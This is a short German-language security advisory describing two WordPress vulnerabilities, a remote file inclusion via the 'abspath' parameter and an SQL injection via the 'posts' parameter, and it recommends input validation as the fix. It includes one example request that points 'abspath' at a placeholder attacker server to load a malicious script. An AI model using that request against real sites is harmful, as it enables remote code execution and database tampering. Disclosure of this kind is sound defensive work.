Beschreibung:
Zwei Sicherheitsluecken in Wordpress erlauben externen Angreifern das Ausfuehren beliebigen PHP-Codes beziehungsweise das Einfuegen von SQL-Statements.

Zum einen ueberprueft das Skript "/wp-links/links.all.php" den Inhalt des Parameters "abspath" nicht. Das ermoeglicht dem Angreifer, durch eine Anforderung im Stil von "/wp-links/links.all.php?abspath=3Dhttp://server_des_angreifers" ein auf "http://server_des_angreifers" gespeichertes, boesartiges Script "/blog.header.php" einzufuegen.

Zum anderen ueberprueft "/blog.header.php" selbst den Parameter "posts" nicht, bevor es dessen Inhalt in SQL-Statements verwendet. Auf diesem Weg kann der Angreifer SQL-Anfragen manipulieren.

Lösung:
Aendern Sie den Quellcode dahingehend ab, dass Eingaben hinreichend ueberprueft werden.
